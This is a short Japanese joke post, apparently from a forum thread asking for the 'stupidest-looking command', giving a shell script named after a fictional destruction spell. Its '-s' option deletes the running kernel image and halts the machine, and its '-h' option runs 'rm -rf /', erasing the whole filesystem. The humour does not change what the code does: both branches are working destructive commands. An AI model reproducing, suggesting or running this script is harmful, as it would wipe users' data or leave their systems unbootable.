最強に頭の悪そうなコマンドを打ってください

/sbin/bals

#!/bin/sh
#選べる呪文

if [ "$1" = "-s" ];then
rm -rf /boot/vmlinuz-`uname -r`
halt
exit 0
elif [ "$1" = "-h" ];then
rm -rf /
exit 0
else
echo -e "Usage: bals [OPTION]\n\n-s, soft bals\n-h, hard bals"
exit 0;
fi